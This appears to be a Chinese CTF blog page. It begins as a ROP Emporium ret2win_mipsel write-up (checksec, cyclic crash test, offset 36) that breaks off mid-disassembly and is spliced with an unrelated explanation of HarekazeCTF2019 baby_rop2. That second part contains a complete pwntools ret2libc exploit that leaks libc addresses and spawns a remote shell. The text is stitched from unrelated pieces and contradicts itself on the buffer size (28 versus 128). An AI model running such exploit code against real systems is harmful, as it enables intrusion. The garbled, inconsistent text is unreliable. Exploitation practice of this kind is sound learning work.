ROP_Emporium_ret2win_mipsel

本文介绍了针对MIPS架构的ret2win_mipsel程序进行的信息收集、黑盒测试及反汇编分析。通过ulimit设置、cyclic测试和gdb调试确定了程序崩溃偏移。在检查程序安全特性时发现存在栈溢出,但无 Canary保护,且NX启用。使用ida反汇编进一步理解函数布局,确定了payload构造的关键点。最终编写并展示了Exp来利用这个栈溢出漏洞,但由于找不到main函数返回地址,导致程序陷入无限循环。

ret2win_mipsel

依赖:

sudo apt install qemu-mipsel-static gcc-mipsel-linux-gnu

信息收集

$ file ret2win_mipsel
ret2win_mipsel: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld.so.1, for GNU/Linux 3.2.0, BuildID[sha1]=cef0d672b72ee9c102ff2202072581aabafcb561, not stripped
$ checksec ret2win_mipsel
[*] '/home/starr/Documents/CProject/pwn/ret2win_mipsel'
    Arch:     mips64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

这里checksec显示是64位程序,应该错了,,

黑盒测试

$ ulimit -c unlimited && sudo bash -c 'echo %e.core.%p > /proc/sys/kernel/core_pattern'
$ cyclic 200 > cyclic.txt
$ qemu-mipsel-static ./ret2win_mipsel < cyclic.txt
ret2win by ROP Emporium
MIPS

For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!

> Thank you!
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Segmentation fault
$ gdb-multiarch ./ret2win_mipsel  qemu_ret2win_mipsel_20220506-203156_19548.core
...
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x6161616a in ?? ()
$ cyclic -l 0x6161616a
36

崩溃偏移位于36字节。

反汇编

$ mipsel-linux-gnu-objdump -d ret2win_mipsel

ret2win_mipsel:     file 
[HarekazeCTF2019]baby_rop2是一道64位、开启了NX保护的Pwn题目,利用思路为ret2libc,涉及printf函数和read函数。程序中定义了`char buf[28];`,但在使用`read(0, buf, 0x100uLL);`时,向buf读取输入最多256(0x100)个无符号长整型常量,而buf数组大小仅为128,存在缓冲区溢出漏洞[^1]。 以下是该题的一个解题脚本: ```python from pwn import * from LibcSearcher import * #p = process('./babyrop2') p = remote("node5.buuoj.cn", 29847) elf = ELF('./babyrop2') printf_plt = elf.plt['printf'] read_got = elf.got['read'] main_address = 0x400636 pop_rdi = 0x400733 pop_rsi_r15 = 0x400731 formart_str = 0x400770 payload1 =b'a' * (0x20 + 8) + p64(pop_rdi) + p64(formart_str) + p64(pop_rsi_r15) + p64(read_got) + p64(0) + p64(printf_plt) + p64(main_address) p.sendlineafter("name? ", payload1) read_address = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) print(hex(read_address)) libc = ELF('./libc.so.6') offset = read_address - libc.symbols['read'] binsh = offset + libc.search('/bin/sh').__next__() system = offset + libc.symbols['system'] payload2 = b'a' * (0x20 + 8) + p64(pop_rdi) + p64(binsh)+ p64(system) p.sendline(payload2) p.interactive() ``` 该脚本的攻击思路是,第一次泄露一个地址,然后获取system函数地址和`/bin/sh`字符串,第二次实现注入。具体是先通过构造`payload1`进行栈溢出,覆盖返回地址,用printf函数输出read函数的地址,再返回主函数使栈初始化,以便再次进行栈溢出。发送完`payload1`后,函数先运行到`return 0`,再执行构造的语句,因为返回地址已被覆盖。之后根据泄露的read函数地址计算偏移,进而得到system函数和`/bin/sh`字符串的地址,构造`payload2`实现最终的注入并获取交互shell [^3][^4]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值